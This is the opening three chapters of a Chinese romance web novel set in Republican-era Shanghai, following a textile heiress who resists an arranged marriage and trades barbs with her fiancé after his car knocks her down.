《沪上浮华》
1. 第 1 章
上海郊区。
夜晚,万籁俱寂,路边时不时传出一声猫叫。月光轻柔铺洒而下,为小路披上一层银沙。
在深宅大院的杭府后院围墙边,却有一模糊身影,在攀爬着,雪白纤细的手指沾染上院墙黑色的灰尘。
费了九牛二虎之力,她终于爬上了墙头。
月色下,她娇小的容颜显得晶莹剔透,双颊晕着淡淡的粉色,一双杏眼含着水雾,眼波流转带起一片潋滟,粉嫩红唇微启:“绮绿你回去吧,把包袱给我。”
而在底下的丫鬟绮绿焦急不已,她怎么可能让小姐一个人孤苦伶仃漂泊呢。
“小姐,你把我带上吧,你身边没有人伺候怎么行呢。”
在墙头上的小姐杭景妍觉得她丫鬟真是磨叽极了,只好伸出手把她拉上来:“说好了,到时候你可别嫌辛苦,外面可不比家里。”
绮绿就着小姐的手,手脚并用爬上了墙头,“只要能跟着小姐,到哪都行。”
杭景妍不在理会她,坐在墙头,小心地探下脚,缓缓够着脚下的土地,探到身体的极限,纵身一跃,跳下了墙头,再伸手拉绮绿用同样的方式滑下来。
两人趁着夜色鬼鬼祟祟的猫着身子,尽量不惊动院里的人,往火车站的方向走去。
她步履匆匆,边走边催促身后的绮绿:“我们走快点。”
绮绿加快脚步追上小姐,压低声音:“小姐,我们真的能跑的掉吗?好怕老爷他们知道。”
杭景妍回头望了她一眼,安慰道:“不怕,三更半夜的,谁知道我们不见了,等他们发现时估计天已大亮,到时候他们上哪里找我们?我们早就走远了。”
话音未落,只见前方昏暗中有一群阴影,逆着光,看不清晰。
两人停下了脚步。
绮绿先认出了前方的人。
连忙低下头,率先出声:“老爷,您来了。”
杭景妍暗暗吃惊,父亲怎么那么快就发现了她跑路了。
镇静下来后,她上前一步挽住杭正则的手摇晃着笑嘻嘻撒娇道:“爹,您老怎么知道我会跑出来?”
杭正则气哼哼道:“你是我女儿,我从小看着长大的,我还会不知道你的性子。你要是能安份的听我们的话去联姻,我估计这天都要变色了。”
“既然爹您知道我不想结婚,您为什么要逼我?从小到大您都不会逼我做我不想做的事。”杭景妍生气道。
杭正则望了女儿一眼,唇齿微动,似想开口说什么,最终什么都没说,把手从女儿怀里抽出来,转身离去。
“把小姐带回去!”
两位身强体壮的下人走上前来就要把杭景妍架走。
她打开下人伸出来的手,气势汹汹:“我自己会走。”
话落,带着绮绿挺直腰杆大步走去。
杭府
杭景妍一进家门就绕过大堂直往房间走去,对在堂内苦苦等待的母亲也视而不见。
“让你走了吗?过来给我跪下!”杭正则在身后道。
杭景妍转头愤愤望了了她爹一眼,便跑入房间关上门来。
“你看看,你看看,现在连我的话都不听了。被你宠得无法无天了。”杭正则对着太太道。
杭太太上前扶着他坐在上首位,给端来茶水润喉:“消消气,女儿还小,她想要自由自在的生活是可以理解的。我们以前不是也希望她能自由自在的过完这一生吗。谁想如今风云突变。”
空旷的大堂上,只听见两老无奈的叹气。
房内,杭景妍躺在她的欧式大床上呈大字型绝望着看天花板。
“绮绿,你说我美好的人生才刚刚开始,就要这样踏入婚姻的坟墓了吗?”
杭家是沪上名门望族,垄断沪上纺织业,杭景妍作为杭家大小姐,在父母宠爱中无忧无虑长大。她不明白向来宠爱她的父母为什么会舍得让她嫁给未曾谋面的人。以杭家的地位不需要联姻来加固。
绮绿安慰她道:“小姐,听说凌家少爷刚刚留美归国就接手了家族企业,担任了上海商会的会长,年纪轻轻一表人才,他家族企业更在他接手后一扫颓势逆风翻盘,整个沪上不知道有多少名媛对他趋之若鹜。”
绮绿从身后拿出了一张照片,照片上,一位青年男子,一副西式打扮,斜视镜头,一双眼睛散发出凌厉气质,眼尾微微上挑,薄唇微抿,脸部线条如刀刻般流畅,五官立体深邃,端的是一派玉树临风的气质。
“怎么样,是不是很帅?”绮绿炫耀道。
“既然你那么喜欢他,送给你如何?”杭景妍憋了一眼照片,没好气道。
“我倒是想,人家也要看得上我,小姐,你可真是另类,这样的高富帅你都忍心拒之门外。”
“小白脸没有好心眼。”她和绮绿也说不通,随便应付几句,拉起被子闷头。
被中还传来她闷闷的声音,“总之,谁爱嫁谁嫁,反正我不嫁。”
晚上闹的动静太大,杭景妍气的一晚上没睡好,今天的课堂上都在昏昏欲睡。
随着下课的铃声响起,终于熬到下课的杭景妍有一种解脱的感觉。她和好友静冉一起走出校门口,静冉和她打趣道:“听说你要嫁去凌家当少奶奶了,到时候可别忘了和你共患难的姐妹啊。”
杭景妍听到好友的打趣颇为无语,伸出手捏了捏她的苹果脸:“忘了你呢是不可能滴,嫁给他呢,也是不可能滴。”
静冉伸手打掉了她的手,解救下自己惨遭揉捏的脸蛋:“为什么不嫁,凌家是沪上的名门望族,祖上是清朝高官,而且凌栖珵年纪轻轻,行事作风颇有手段,能力一流。”
“你确定?”杭景妍看了她一眼反问。
两人在路上走着,突然听到一身刺耳的喇叭声,回头一看只望见一辆小汽车控制不住的朝自己奔来,两人急忙躲避,静冉堪堪避开小车,有惊无险。但杭景妍还是被撞到在地。又一阵刺耳的刹车声,汽车刹停在面前。
静冉连忙跑上来,蹲下看好友的伤势,杭景妍被撞道小腿,有些轻微的擦伤。
她站起来骂道:“你们怎么回事,开车不长眼睛吗?专门往人身上撞,看下人被你们撞的走不动路了。”
杭景妍扶着车门跌跌撞撞地起来,动了动脚,幸好没伤到骨头,只是擦伤。
她气愤地走到车后座,砰砰的敲着车窗。
简直太让人生气,撞到人了也不懂下来道歉的吗。
车窗降下,随之出现了一张如上帝精心雕刻般俊秀的五官,只是面部线条的凌厉散发着生人勿进的气质。
她想起了自己在那里见过这张让人过目难忘的脸,这不就是自己那便宜的联姻对象吗。
车内的凌栖珵淡淡扫了她一眼,随意吩咐司机,给她几百块,清冷淡漠的语气像打发叫花子一样。
这着实激怒了杭景妍。
在司机转身拿过钱包正准备给钱,无奈的摇头,这种路上碰瓷的套路已经数不清是第几个了。这些女孩子真是不懂矜持。
杭景妍拉开车门坐了上来,看都不看司机伸过来的钱,装作可怜兮兮,一动不能动地,扶着自己的脚,娇声:“哎哟,好痛,你能不能送我去医院,我实在是走不了了。”
凌栖珵转头,她杏仁般的大眼睛含着一汪泪水,跌入他的双眸,像迷途的小鹿,那扇睫毛微微颤动,像羽毛轻抚过心尖,带来一阵悸动,他改口吩咐司机:“去医院。”
司机暗暗惊讶,今天少爷怎么转性了。
但这不是他一个小小司机该考虑的,他连忙打火把人送去了医院。
急诊室内,医生护士在里面处理伤口。
凌栖珵站在门外等着,不时望一眼手表,司机也小心翼翼跟在身后。
“少爷,要不还是我在这里等着,您去开会吧,要是去晚了老爷又得生气。”
凌栖珵望了一眼急诊室的门,想来她也没有大事,交代了几句,先行离开。
急诊室内,护士为她包扎好离开,杭景妍左右望了望,见真的只有她和静冉两人时,她拉过静冉让她坐在床边,偷偷道:“你知道刚才那人是谁吗?”
静冉被问的一头雾水,不知道她像表达什么,仍然沉浸在气愤中,“管他是谁,就算他是天王老子,撞到人了也要负责,幸好你机智,不然给点钱就想打发我们,当我们是叫花子吗?”
杭景妍清丽的脸庞上荡开了一丝笑容,仿佛被她的话逗乐,她拿她刚才吹嘘凌家少爷的话堵她:“你不是说他手段凌厉,能力一流吗?现在怎么把人家扁的一文不值了?”
静冉被问的一愣一楞的,老半天才反应过来这始作俑者是她那位联姻对象,传说中雷厉风行的凌家大少爷。
“是他!”
“对,是他,这回你还能闭眼吹吗?”
“哈哈哈哈,这可是大水冲了龙王庙,未婚夫撞到未婚妻啊。”
杭景妍翻了翻白眼,她是倒了五百辈子的霉。
门外,司机小宋听到声音,敲门进来道:“我家少爷还要赶去开会,先走了,小姐剩下的医药费我们会负责的。”
他从公文包中拿出了几百块放在了床头柜子上。
杭景妍与静冉对视了一眼,用眼神说:“看吧,这男人还能要?”
静冉默不作声。
司机小宋给了钱,歉意道:“真是对不住,小姐您可以在这里住几天,这里的院长是我家公子的旧识,医药费已经替您付了,您放心住下便是。”
司机出了房间,又吩咐护士小心照看,离去。
人走了,杭景妍也放松下来,“看看,这果然是不择手段,雷厉风行啊。一点道德感都没有的男人,要来有什么用。用脚趾头我都能想象未来的婚姻生活有多么的凄凉。”
静冉打圆场道:“人家还是送你来医院负责你医药费啦。”
杭景妍怒目圆瞪,不可置信好友竟然帮着别人讲话:“要不是我认出了他,故意赖上他的车,他不是几张纸打发我们了,什么脾气!”
静冉叹了一口气无奈道:“没想到他是这样的人。”
杭景妍一副了然的表情,“世家子弟都这样啦,所以不能听人家讲什么,那些都是虚名,耳听为虚眼见为实。”
她下床收拾了下东西,顺手把他的钱装进书包,打道回府。
静冉连忙上前扶住她,“你干什么?不待在医院休养一下,现在就走吗?”
杭景妍露出神秘的笑容:“我那时碰瓷下
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他,看下他的反应而已。没事,腿没断,就是皮外伤。现在我要回家报告他的恶行,解除婚约!”
杭府古色古香的院子在夕阳的照耀下镀上一层金色光边,衬托此时气氛的和煦。杭景妍在静冉的搀扶下下了黄包车一瘸一拐走进家中。
老管家李伯上前一看,小姐上学变得一瘸一拐回来顿时吓了一跳:“大小姐,这..这是怎么回事,怎么好端端的变成这样了。快坐下。”说着扶着杭景妍在沙发下坐下。
“怎么回事,出了什么事了?”杭夫人听到声响从屋里走出来。
“妈,你看看,你看看,我要变成残废了。”杭景妍撒娇哭诉。
杭夫人连忙坐下安慰女儿:“我的宝贝,怎么了,这是怎么回事?”
“哼,我是被人撞了。”杭景妍愤愤不平。
杭夫人眉头微皱,怒道:“谁那么霸道蛮横,说出来,妈妈替你收拾他。”
“就是你们给我的结婚对象,那个凌家少爷的车夫开着他,把我撞了。”
“妈,你看看他们家就那么仗势欺人,一个小车夫都敢无视交通规则,我要嫁过去还不得被吃了。您忍心看着我去受苦吗?”杭景妍拉着杭夫人撒娇。
“这..不是我能做主的,妍儿。不过这件事是不是有什么误会,凌家应该不会那么蛮横吧。”
“能有什么误会,就是他。当时他的车夫就是开着他,他还给了我他的名片。”
说着杭景妍低头从自己的包里掏出了凌栖珵的名片。
杭夫人接过名片一看,顿时不知如何是好,只好先安抚女儿:“这件事,等你爸回来我会跟他讲,看下他怎么说,一定不会委屈了宝贝闺女。”杭太太伸手抚了抚女儿的头发安慰。
话音刚落,一阵汽车发动机的声音响起,杭夫人抬头望去,杭老爷打开了后门走下车。
她忙迎上前去,为杭正则接过大衣与帽子恭敬道:“老爷回来了。
杭正则把衣服和帽子给夫人走进客厅。
杭景妍和静冉立刻起身让位,小心翼翼地观察着杭正则的神色。
杭正则在客厅沙发上坐下,闲适地倒上一杯茶慢慢品完后,才开口:“凌家那小子的品行我了解,断不会胡乱伤你,就算是意外,他也把你送到了医院,你休要胡闹。”
杭景妍眼见不能说服父亲,气呼呼离开了客厅。
既然此路不通,那么她另想她法,她就不信她要是决定不嫁他们还能怎么给她。
身后静冉追上来,搀扶着她:“你慢点。”
接近午夜,空旷的凌家花园只剩茉莉与昙花在静悄悄地开放,园中细碎的灯光仿若不舍它们妖娆的身姿如此沉寂,细心地为它们搭上靓丽的金边,在如此夜色下独占风姿。
凌家西式洋房在百花的簇拥下于夜色中寂静矗立。花园内停着一辆黑色洋车。
车内。凌栖珵闭眼假寐。
不久之前,开完会后,父亲谈起了要联姻的事宜,言谈之间都属意他。
说到了凌家未来的发展大计,都寄希望于他。
想到联姻,疲惫顿起。
在车内缓了缓,他打开车门,一个人走过空旷的花园,朦胧的灯光让他的背影看起来如此孤寂。
穿过寂静的会客厅,走过无人的走廊,回到自己的房间,他径直去了浴室。
半小时后,他套着浴袍走出来,水珠来不及擦干缓缓滴落在浴袍内,沿着肌肉线条滑落。小麦色的皮肤,精壮的胸膛,流畅的肌肉线条,如果此时有女孩子在场,一定是一副尖叫的场面。
他疲惫地靠在牛皮沙发上休息,看到桌上的照片。照片上的女子是自己的未来的联姻对象。
上个月父亲就曾经说过杭家有意与自家联姻。今天他才从父亲手中拿到照片。
他伸手拿过来看了看,照片上的女子倚靠着栏杆凝望江水,眉宇间似带着淡淡的哀愁,但她微扬的下颌,又似带有一丝高傲。她一身华贵丝绸旗袍与皮草披肩,耳边的金贵发饰配上她的杏眼,鹅蛋脸,如此奢华的妆扮,却带着不该有着忧愁。
他恍然,原来是下午他们已经见过。
她是认出了自己故意来试探自己,还是真的只是偶然。
想起她当时坐在车上,两只深邃的大眼如黑曜石般因疼痛泛着泪光。
不知道她在医院怎么样了。
他起身走至书桌旁给医院院长打了个电话。
不料院长告诉他在他走后没多久杭小姐就离开了。
放下电话,他想了下,叫来了管家李伯。
李伯上来后问:“少爷,你有什么吩咐。”
凌栖珵坐回沙发上看着他:“我们家库房,还有些什么补品?”
““少爷需要什么。”
“人参,鲍鱼,鹿茸之类的吧。”
“好的,少爷,我会去库房取。”
“恩。明天你亲自去杭家走一趟,把我的意思带到,我忙完工作就过去。”
“好,少爷。时候不早了,您早点休息。”管家叮嘱完,退了下去。
深夜的风,缓缓吹拂着窗纱。
凌栖珵拿起照片凝视着。
“杭景妍,我们明天见。”
2. 第 2 章 第一次
清晨,彩绘的窗花在阳光的照射下反射出斑斓色彩,凌栖珵迎着微曦晨光走进餐厅,阳光折射在他身上,为他勾勒出一道金边,衬得他肤色冷白,身型颀长,气质高贵矜冷。
此时,凌夫人与凌老爷已在餐厅用餐。
凌栖珵与父母问好:“爸妈,早上好。”
他在餐桌下首坐下,丫鬟上前盛好小米粥,端放在他面前。他拿起汤匙慢慢喝起来。
凌老爷用完早餐,看着正慢条斯理吃早餐的儿子,与他商量起联姻的事情。
“杭家提出与我们联姻,从而换取我们对他们纺织厂的投资,防止外国资本的入侵。我反复想了下,这对我们家也是在纺织业的扩张也是有好处,杭家也是纺织业的大拿,通过他们家的技术和影响力,我们可以很快在纺织业站稳脚跟。”
“杭家小姐你也看到了照片,你觉得如何”
“在我看来,那个杭家小姐还在读书,年纪是小了点,不过照片我看了,和你也挺相配的。当凌家的少夫人也不至于丢脸。嫁进来后,要是有什么不懂的,叫你娘和姨娘多教教就是了。这笔生意也是双赢的选择。”
凌栖珵想起了昨天的意外。
莞尔,不知道在杭家小姐心中自己是个什么形象呢。
如果注定自己要联姻,那么这个对象还不错。
他慢条斯理地吃完小米粥,答道:“既然是对家族有利的事情,我没有异议。”
凌栖珵状似无意提起昨天的事,“我与杭小姐之前也见过了,不过不是很愉快的见面,司机把她撞伤了。估计这第一面杭小姐对我没有好印象。”
上首的凌老爷听此言,有点惊讶,还来不及开口一边的二姨太抓住机会暗讽:“栖珵啊,你这样可不行啊,一上来就把人撞了,怎么追的到人呢。别学外面那些男人的臭毛病,女人啊还是要靠哄的。”
二姨太膝下也有一子,只小凌栖珵两岁,也正好到了婚配的年龄,多年得宠让她什么都想跟正房争。
凭什么好事都是他凌栖珵占了,她的儿子什么都落不到。
一边凌太太为儿子解围:“栖珵,既然事情已经造成,你带点礼物上门给杭老爷和杭小姐赔罪。不能让杭家认为我们不懂事。”
凌栖珵并不理会姨娘的话,恭敬对母亲道:“我知道,母亲。我已经叫管家准备好,花胶,灵芝,人参,松茸,章鱼干等补品,我会亲自上门赔罪。
凌夫人点头赞许。
凌栖珵吃完早饭就上班去了,管家把礼品准备好点清数后,叫用人把这些补品搬上车,带着名下人往杭家去。
傍晚,夕阳余晖照耀着这座城市,南京路上正经历着晚高峰,下班的人群往来穿梭络绎不绝,黄包车,双轨电车叮叮当当地载着晚归的人交错而过。
凌栖珵坐着车穿越市区,半个小时后车才到了杭府,司机在门房递交了拜帖,门房进去通传。不久,杭管家亲自来开门迎接。
“凌少爷,您请。”杭管家亲自为凌栖珵打开车门。
凌栖珵抬脚向宅院深处走去,“你们小姐的伤势如何?”
“小姐的伤势没有大碍了,皮外伤而已。”
“幸好没有大碍,这次是家仆鲁莽,真是万分抱歉”凌栖珵问。
“凌少爷客气了。”
凌栖珵在管家的带领下到会客厅,下人立马上了上好的普洱与桃花酥点心。管家招呼仆人去房间告知小姐。
“凌少爷,您稍坐,小姐等会就到。”
房间内,杭景妍听到下人通告,冷笑了声,这人倒是会装模作样。昨天把自己扔下跑的那么快今天献殷勤到勤快,难道就是这副嘴脸给爸妈一副好印象?
她意识到自己要是一直拆台反而会落下风,要转变策略才好。
既然这件婚事从父亲那走不通,就从他那下手吧。
她起身进入衣帽间,从衣柜中选出一件紫色薄纱缠丝旗袍,又叫来绮绿帮她梳妆打扮,扎上同色系缎带,搭配成套。
一番折腾后,她对着镜子转了一圈,这套衣服完美衬托出她想要的气质。她很满意,毕竟输什么不能输气势。
打扮完毕,她叫绮绿推个轮椅来。
绮绿站在一旁犹豫着,“小姐,坐轮椅不太衬托你这套裙子。”
“这样才能让他知道我伤的严重。这样才能有个鲜明的对比啊。我一个柔弱仙女被他害的坐在了轮椅上,想想多么可怜。”杭景妍抚着脸做娇柔状,
绮绿被自家小姐歪理邪说怼的无语,跑出门推了轮椅来,杭景妍提着纱裙轻巧地坐上去,兴奋道:“走吧,我们会一会我这未婚夫。”
“哎呦,贵客啊,刮哪阵风把凌少爷吹到我杭府来了。”
杭家西偏厅,凌栖珵独自在品着茶,听到声音转过头,只见杭景妍缓缓而来。
她肤色如雪晶莹剔透,在窗外阳光照耀下更显莹润。一双杏眼被勾勒出微微上挑的弧度,樱桃小嘴在琼脂润色下闪耀着光泽,黑发如墨般披散在她瘦小的肩膀上,用紫色缎带点缀其中。一颦一笑间,如春光动人。
凌栖珵第一次见识到了脱离了学生装的她,美貌让人无法直视。
虽然昨天已经在照片中见过盛装的她,但是现实中她比照片中更美。
他轻咳一声,镇定下来,“杭小姐看上去气色不错,脚上的伤可有好点?”
杭景妍坐着轮椅缓缓上前,看着掩盖在纱裙下的脚,“凌少爷昨天不是跑的挺快的,今天前来又是作何腔调?还是知晓我的身份来这演戏来的?”
凌栖珵慢条斯理拿起茶几上的茶杯,轻啜一口道:“我来看我的未婚妻有何不可?”
杭景妍推着轮椅到花厅中,轻笑:“我倒没见过要把未婚妻撞死的而后又来装腔作势的未婚夫。”
凌栖珵轻笑一声,不置可否,放下茶杯,从容拿起茶盏一一注满空杯,“我要纠正你几点,一,要撞死你的不是我,而是我的司机,严格来说我也是受害者,他开不好我也是要一起出车祸的,所以我也是受害者。二,这是个意外,而且昨天你并不是毫无过错,你走出了人行道,所以导致我的司机刹车不及时。三,事发时我并不知道你的身份,又何来未婚夫谋杀未婚妻说法?”
杭景妍被怼的哑口无言。“好,我说不过你,我也不和你理论。今天我来是要和你说另外一件事。”
“哦?。”凌栖珵端起茶杯的手停顿了下,转头凝着她,目光清冷。
杭景妍停顿了下,弯腰拿起茶杯几口喝下茶水润润喉后道:“我希望凌先生能出面解除我两的婚约。”
凌栖珵冷笑,放下茶杯,颀长身体斜倚着沙发,双腿优
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雅交叠,俊逸眉眼浮现一丝锐利:“杭小姐就这么看不上我?”
杭景妍很惊讶他的反问,原以为他也必定跟她一样,对这门婚事不喜,没想到他这么听话。
杭景妍也不退缩,直视着他眼,反讽道:“那么凌少爷看上我了?”
凌栖珵顿了顿,显然他没有想过这个问题,他顿了顿,答道:“没错”。
杭景妍听了他的答案,撇了撇嘴。
“你的看上我就是随便扔几百块钱打发人的?如果不是我是你的联姻对象,而是一个普通人,估计你连多余的眼神也不会给一个吧?”
凌栖珵起身重新布茶,淡淡道:“我的时间宝贵,不能给我带来利益的人为什么要多看一眼?”
“所以,我觉得跟你这种丝毫没有怜悯之心的人无话可说,从性格到价值观一点都不相配,还是别生搬硬凑在一块了。”
“我没有怜悯之心和你故意碰瓷找茬,不是一类吗?怎么能说是生搬硬凑呢。我恰恰认为我们天生一对。”凌栖珵双手撑着她的轮椅近距离地逼视她,高大的体型给人强有力的压迫感。
杭景妍见落了下风,逼了逼眼泪,那双清澈透亮的杏眸,瞬时浮上盈盈泪珠,含在眼眶欲落未落:“你欺负人。我要去告诉父亲。”
她伸手推了推他,没推动。
低头,一滴滴晶莹剔透的眼泪滴落在纱裙上,晕染开来。
活像被欺负的小媳妇似的。
凌栖珵见她流泪,微挑眉,有点惊讶,又有点想笑。
女孩子的眼泪是说来就来的吗?
“我被退婚还没哭呢,你倒是哭上了。你这是不是可以称之为倒打一耙?”
杭景妍知道说不过他,也不接话,一个劲低头抹眼泪。装成一副受委屈的小媳妇样。
凌栖珵靠回座椅上,掏出了自己的手帕来给她:“擦擦,哭化了妆变成大花猫了。”
他对女孩子的眼泪向来是没有抵抗力,她的眼泪仿佛是小猫在心头轻扰,带着痒又带着微痛。
她望着他送过来的手帕,最终还是接过来,对着镜子擦拭。
妆容却越擦越花。她急得站起来欲往房间跑去。
没跑两步,就撞在了柱子上,让她忍不住呼痛,捂着脚。
凌栖珵眼疾手快上前扶住她,
“你怎么毛毛躁躁的。脚上有伤都忘记了吗?
杭景妍也懒得怼他了。隔开他的手,一步步缓缓向前走去。
她这副模样看的他于心不忍。二话不说直接上前把她打横抱起来。
嘴上却讽刺:“你这样走,估计天亮都走不到房间了。”
杭景妍在他的怀抱中白了他一眼:“还不是你害的。要是我真的残了。我要你负责一辈子。”
他抱着她稳稳的走在抄手游廊上,“放心,你不残,我也会负责一辈子。”
杭景妍抬头望着他,凌栖珵眼神直视前方,深沉坚毅,恍若不知她在看他。
他的怀抱温暖有力,给人安全感,仿佛什么风雨他都能为她阻挡
他无心的言语,让杭景妍坚定的内心起了波澜,耳根后悄悄爬上红晕,她摇摇头,把异样情愫晃掉。
他肯定是情场老手别被他的把戏骗了。
她没发觉,此时上方的男人嘴角的弧度。
3. 第 3 章
杭景妍双唇抿凌栖珵抱着杭景妍走回了她的小院,把她放在了院中葡萄藤架下坐好。他蹲下撩起她的裙角察看她的伤势。
莹白的小脚此刻肿起了一大块,他轻轻触碰都能感觉到疼痛。
杭景妍疼的缩回脚,“你懂不懂怜香惜玉?轻点,痛死了。”
凌栖珵望着她无奈道:“你这是第二次撞到了,我还想说你能不能爱惜自己一点呢。”
凌栖珵看着她的伤处,伤势像刚刚撞到了,本来没受伤的脚被撞淤血了一块”
他起身望了周围一圈,“你的丫环呢?叫她把你的药酒拿来。”
杭景妍白了他一眼,“我还不想说你是灾星呢,每次看到你,我的脚都要受伤。我两命格相克。”
她看了看周围,四下无人,下人也不知道跑哪去了。
“绮绿可能在房间里面,你抱我进去吧。”
凌栖珵很无语,他看见旁边有个下人经过,便拦住了他。吩咐他传话把小姐的伤药带来。
下人领命而去。
不久,绮绿忙拿着药酒赶到。
凌栖珵接了她的药酒,蹲下给杭景妍上药。
下手重了点,她忍不住痛呼。
凌栖珵看都没看她一眼,“你还知道痛?留下病根你就哭吧。叫你住院你不住,你在躲谁?”
他三下五除二的给杭景妍重新上药重新包扎完毕。对着绮绿道:“好了,送你家小姐回房吧。”
绮绿上来扶着她,小心翼翼地回了房间。
在房内躲着,她偷偷瞄人还是否还在,见人走了,她才放心下来。去洗脸换妆。
而后她穿着睡衣躺在自己的大床上惬意的翻着小说,二十分钟后,一阵凉意从脚伤处缓缓而上,她动了动脚,已经没有刚才那么疼痛。看来他的推拿手法还挺一流。
但她也不准备出去,准备蹲在房中等他走了再出去吃饭,或者叫绮绿拿进房中吃。
哪知老爹叫人来催,说一定要出席。
她故意拖延时间,磨磨蹭蹭,走一步歇三步,慢吞吞的朝着餐厅走去。
餐厅内坐满了人,全家都出动了,凌栖珵也到了,过年都没有那么齐人。可见家族真的很重视他。
杭景妍注意到,堂妹也来了,特意打扮了一番,一身纯白色的小洋裙,更衬着她肤白似雪,一头小波浪的卷发,发鬓旁编两个小辫,用丝带扎成蝴蝶结。脸上两个小酒窝,一颦一笑都透着娇俏。丝毫不逊色与她。
她就知道二叔一家不会放过这等结亲的好事。
杭景妍刚到座位上,杭老爷就率先介绍,他还不知两人之前已经见过。
“景妍,这是凌家大少爷,你未来的另一半。你这次撞伤,凌少爷深感歉意,亲自前来道歉。”
杭景妍慢条斯理的铺开餐巾。才抬起头与他对视。
在见到她的那一刻,他仿佛听到心跳加快的声音,大脑窜上莫名愉悦,她洗去了下午的妆容,化了个自然装扮,发间别着珍珠发饰,一身白衣,朵朵白花点缀其间,宛如跌入凡尘的仙子。
他克制自己,维持着面上不动声色。
杭景妍客气疏离,脸上没有半分笑容:“多谢了,凌少爷没必要那么大手笔,这些我们家都有,只是要特意关照你家车夫出门看路。免得这次回家又撞到什么了。撞到我事小。要是把凌少爷撞坏了可怎么办呀。”
凌栖珵听出了她的讽刺。不紧不慢:“杭小姐的嘱托我记下了,一定让车夫小心再小心。”
说完,他微微一笑,站起来盛了一碗汤,然后交给身后佣人,佣人端过去给杭景妍。
凌栖珵:“杭小姐身上有伤,喝着虫草炖的骨头汤最是有利于伤口复原。这可是我家珍藏多年的冬虫夏草,一直都不舍的用。这次都被我拿过来了。
一碗骨头汤就这么放在杭景妍面前,她知道,他是想她闭嘴。但是她怎么能这么让他省心。
喝了两口汤,又把汤交给了佣人,叫她端回去给凌栖珵喝。
并娇滴滴道:“凌少爷,我不想吃排骨,怕胖,你行行好,帮忙吃完吧。”
凌栖珵眼见杭景妍把她喝过的汤又端回来给他,听着她软绵绵的话语,顿时如春风拂面,让人酥到骨子里,在她话语的蛊惑下,他喝完了她没吃完的汤。蘸着她的口水的汤,酸中有甜,甜中透酸,颇有些回味无穷。
杭景妍偷瞄了他一眼,看着他吃瘪,她偷偷低着头,微微笑了起来。
凌栖珵抬头就看见那笑容,恍若盛开在午夜无人知晓的昙花,如此娇艳迷人,绽放在青春靓丽的容颜上,更是觉得恍了眼。
杭老爷看不懂两人的微妙气氛,道:“看到你们小两口那么好我就放心了。过段时间我和你父亲选个黄道吉日把婚事给办了。”
“爸。女儿还想陪你两年嘛,这么早嫁出去了,你身边不就没人了吗?”杭景妍边说着边看了旁边的堂妹一眼,撒娇道。
堂妹也不是个省油的灯。马上道:“姐姐放心,伯父还有我嘛。我会替姐姐在身旁尽孝的。要不然姐姐在伯父前尽孝,我替姐姐嫁过去。”话中的讽刺之意在场的都明白。
眼看两人对上了。凌栖珵出声打了圆场:“伯父放心,婚后,我和景妍也会常常回家来看望二老,不让你们孤单。”
“栖珵多懂事,一看就是个好苗子。大哥你能找到栖珵当女婿真是几世修来的福气。我家景环不知道有没有那个好福气。”旁边的二老爷状似遗憾的口吻说道。
杭老爷明白二弟的心思,
“景环啊,以后有好的亲事,大伯也会给你留意。”
杭老爷还是希望一家人整整齐齐,不要因为小事而生嫌隙。
杭景妍冷眼看着二叔一家,不以为意。她倒要看看她杭景环还能使出什么本领。
一转眼看到坐在凌栖珵身旁的杭景环趁着凌栖珵不注意,一直再给他的碟子夹菜。
杭景妍看凌栖珵在与父亲聊天中下意识吃下杭景环夹的菜。有些生气吗,想治治这个傻瓜,灵光一闪,她起身夹了一道青椒给凌栖珵:“栖珵,多吃点绿色蔬菜,有益健康。”说着她也不顾两人之间横着一道桌子。直接夹到他碟子里。
凌栖珵这里跟杭老爷正聊着,不注意之下吃到了青椒。刹那间舌头酥麻,脸也像烧着一般红起来。
“咳咳”
他赶忙喝了几口水下去,才冲淡了辣味。
杭景妍状似好心道:“凌少爷这是怎么啦。”
杭老爷这时也注意到了凌栖珵的异样,道:“栖珵,你怎么了。”
凌栖珵咳了咳,清了清嗓子,“没事,可能杭小姐对我的饮食习惯不了解,好心办了坏事,她不知道我吃不了辣椒。”
一番话看似识大体,其实都让她顶锅了。
杭景妍的偷笑,顿时凝在了嘴角。
杭老爷微斥:“景妍,你下次注意点。”
杭景妍无奈应道:“知道了。父亲。”
凌栖珵在杭景妍的打岔下也注意到杭景环一直再给他布菜。
顿时明白了杭景妍恶作剧的原因
他不动神色的把手放上去,隔开了两人的距离。
冷淡有礼道:“多谢杭二小姐,您受累了,你自己吃吧。”凌栖珵说着并起身坐到了杭景妍身边,远离了杭景环。
理由也很正当,杭小姐腿脚不便,作为她未婚夫,理应在她身边照应。
杭景环夹菜的手停在半空中,收回来也不是,不收也不是,她没有想到,凌栖珵在众人面前那么下她的面子。这是她从小到大从未有过的待遇。
杭景妍睁大双眼瞪着他,眼睁睁看他坐到自己身旁的位置。
正在喝汤的她被呛的咳嗽起来。
真是搬起石头砸自己的脚。
她望向对面堂妹,杭景环粉红的脸颊因为生气更显红润。她顿时觉得能气一气她这堂妹也不算坏事。
杭景环羞愤不已又不能表露出来。
她对着景妍娇嗔道:“姐姐,你也管得太紧了吧,你这样小心姐夫受不了跑路。”
凌栖珵在杭景妍身旁坐下,状似温柔的抚着她的后背为她顺气,给她拿手帕。
举止优雅得体,每一处细节都体现用心细致。
凌栖珵:“放心我不会跑的,你怎么管我都行。”
杭景妍接过手帕擦了擦,暗暗白了他一眼,这人怎么这么好意思?
凌栖珵又在她耳边悄声询问那个爱吃,他得不到回应,擅自夹了一块糖醋排骨给她,又细心地给他剃了骨头。
杭景妍看了下盘子里的排骨,恰恰是自己最爱吃的。
他在他耳边道:“女孩子都喜欢吃甜的,你试试看?”
杭景妍抬头望着他,他黑眸清冷深邃,毫不回避地回望着她,微薄的唇角弯起一丝弧度,让这张清冷的脸有了丝暖意。
这一笑,让她有一丝迷失。
杭景妍夹起盘中的排骨,试了一口,果然是熟悉的味道,甜而不腻,唇齿留香。
见她吃了糖醋排骨,凌栖珵又夹了一筷子苦瓜给她
在他的迷惑下杭景妍吃了几口才反应过来,是苦的。
呸,她连忙把苦瓜吐出来。
“怎么了,是不是太苦了,那喝口汤吧。”凌栖珵温柔地抚着她的背,边说边给她端了一碗汤过来。
杭景妍用只有两人能听见的声音咬牙切齿道:“你故意的。卑鄙小人。”
凌栖珵恍若没听见她的话般,面色沉稳内敛,继续给她夹菜。
转眼杭景妍面前已经堆起了小山般。
凌栖珵温和地望着她,“你平时太瘦了,多吃点,受伤了需要补营养。”
杭景妍狠狠剐了他一眼,算你狠。
不就是给你吃个辣椒吗,至于吗?
杭景妍也夹
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了几大筷子肉给他,“凌少爷难得来我家一趟,尝尝我家的拿手好菜。”
